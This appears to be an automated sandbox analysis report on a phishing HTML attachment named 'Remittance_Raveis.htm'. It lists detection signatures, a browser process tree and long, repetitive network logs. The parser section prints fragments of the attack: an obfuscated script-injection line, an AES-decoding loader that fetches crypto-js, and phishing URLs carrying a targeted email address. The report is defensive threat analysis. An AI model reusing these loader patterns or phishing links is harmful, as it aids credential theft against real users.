Edit tour

Windows Analysis Report
Remittance_Raveis.htm

Overview

General Information

Sample name:	Remittance_Raveis.htm
Analysis ID:	1529041
MD5:	fbbe44fc8f8c9af2ba3659fbcb2f3c4b
SHA1:	df7e42d4023493054844731e4c023cabd0fe1fde
SHA256:	d05473dd6100cb5d88bae011c8df667799d7722c9b64ad550de1ab99d4227abd

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

HTML document with suspicious name

HTML document with suspicious title

Phishing site detected (based on shot match)

Connects to many different domains

Detected non-DNS traffic on DNS port

HTML page contains hidden javascript code

HTML page contains string obfuscation

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6096 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Remittance_Raveis.htm MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6852 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1944,i,3959010500343283314,1993937045668508339,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Remittance_Raveis.htm

Tab title: Remittance_Raveis.htm

Phishing site detected (based on shot match)

Source: https://k5f9z1.tingbonteri.com/6IC48/#C#Mbwebb@raveis.com	Matcher: Template: captcha matched
Source: https://k5f9z1.tingbonteri.com/6IC48/#C#Mbwebb@raveis.com	Matcher: Template: captcha matched

Source: https://k5f9z1.tingbonteri.com/6IC48/#C#Mbwebb@raveis.com

HTTP Parser: Base64 decoded: {"version":3,"sources":["/cfsetup_build/src/orchestrator/turnstile/templates/turnstile.scss","%3Cinput%20css%20qtFLbZ%3E"],"names":[],"mappings":"AAmCA,gBACI,GACI,uBClCN,CACF,CDqCA,kBACI,GACI,mBCnCN,CACF,CDsCA,iBACI,MAEI,cCrCN,CDwCE,IACI,mBCtCN,CACF,CDyCA...

Source: file:///C:/Users/user/Desktop/Remittance_Raveis.htm

HTTP Parser: Found new string: script document[zircon]( quetzalcoatlus + anemone + '></sc' + 'ript>') /* vole */ ;...

Source: https://web10.pro/res444.php?2-68747470733a2f2f6b3566397a312e74696e67626f6e746572692e636f6d2f36494334382f-koel

HTTP Parser: var hcriijzkiobojqbc = document.createelement("script");hcriijzkiobojqbc.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(hcriijzkiobojqbc);hcriijzkiobojqbc.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoiytnzaw9tum42cdz6oxrbtjzmsxc3tuc0z0kxavwvvhn5cxr5xc81nctqsvhezxffmmflrklza0tybejvt2fos2l5cluxnzyybelmttrvvmjvanlzwvzxcxqxsfv5wg1swmwxwdfsbfblylfkdxfjyjb2dmw5njddcmrdce1jz3fjswrinmdlrhftsw9uoxrxyldwvddidue2utjeqxp6thdytvpmchprc0pptlhkmwzauwxuuuxmddnuu1zadjhezxbxajmwwefxcnkxsvluvu01mmkyd21hqnfrt3liazhnrtbxdgqyvgndmnrxn09pvuxxchlhenpsmgnevitobmnnswnxehfewgjjwkzbagf3s21crke0andnbvqrcwf0s3f0u1z1rldvcutjbljzbxdiuljvou03nmvtz2frqkpjrjjryug3ww9auhk3uwv6qmrhdtvmtndvythxmxpjqlpcl3dhr2zpauvoa3pnqtdvsghxwxarmml3qkrxdll1d2n0tmdtdfbetuwrufy2rhcrzdngq01fnme0bxrpszjktmrgeutlz0hcmzrwykoxcjv2wjnsetrxcwf5a0vqvecyshfmvwnqag9wymrtrdvkzmr3sdzfrdl6sedxeutstjr4udvzqjnssnozv05qavdkcuzgwm1rdhdxemrvodcrmdvrqwe5z1l3whlfrlzinfd3mmjprdlku1hjsg56ne5uyn...

Source: Remittance_Raveis.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Remittance_Raveis.htm	HTTP Parser: No favicon
Source: https://k5f9z1.tingbonteri.com/6IC48/#C#Mbwebb@raveis.com	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon
Source: https://www.made-in-china.com/	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.164.15:443 -> 192.168.2.16:64825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.16:64830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:64840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:64860 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53
Source: global traffic	TCP traffic: 192.168.2.16:49719 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.16:64823 -> 162.159.36.2:53

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: web10.pro
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: k5f9z1.tingbonteri.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: xoiaa5zz7ijzc3p6xoocpvbctfpd2bg8j7krpd7hksops0jy4lg0vtmplq.gnovesonc.ru
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: made-in-china.com
Source: global traffic	DNS traffic detected: DNS query: 56.163.245.4.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: www.made-in-china.com
Source: global traffic	DNS traffic detected: DNS query: www.micstatic.com
Source: global traffic	DNS traffic detected: DNS query: image.made-in-china.com
Source: global traffic	DNS traffic detected: DNS query: pic.made-in-china.com
Source: global traffic	DNS traffic detected: DNS query: static.cloudflareinsights.com
Source: global traffic	DNS traffic detected: DNS query: discovery.micstatic.com
Source: global traffic	DNS traffic detected: DNS query: fa.micstatic.com
Source: global traffic	DNS traffic detected: DNS query: widget.usersnap.com
Source: global traffic	DNS traffic detected: DNS query: resources.usersnap.com
Source: global traffic	DNS traffic detected: DNS query: membercenter.made-in-china.com
Source: global traffic	DNS traffic detected: DNS query: webim.trademessenger.com
Source: global traffic	DNS traffic detected: DNS query: webim.made-in-china.com
Source: global traffic	DNS traffic detected: DNS query: connect.facebook.net
Source: global traffic	DNS traffic detected: DNS query: tags.creativecdn.com
Source: global traffic	DNS traffic detected: DNS query: asia.creativecdn.com
Source: global traffic	DNS traffic detected: DNS query: td.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: googleads.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: analytics.google.com
Source: global traffic	DNS traffic detected: DNS query: stats.g.doubleclick.net
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: ib.adnxs.com
Source: global traffic	DNS traffic detected: DNS query: f.creativecdn.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 65019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 65031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 64828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 65014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 65008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 64972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 64840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65069
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 64999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65032
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65029
Source: unknown	Network traffic detected: HTTP traffic on port 64831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64860
Source: unknown	Network traffic detected: HTTP traffic on port 64825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65036
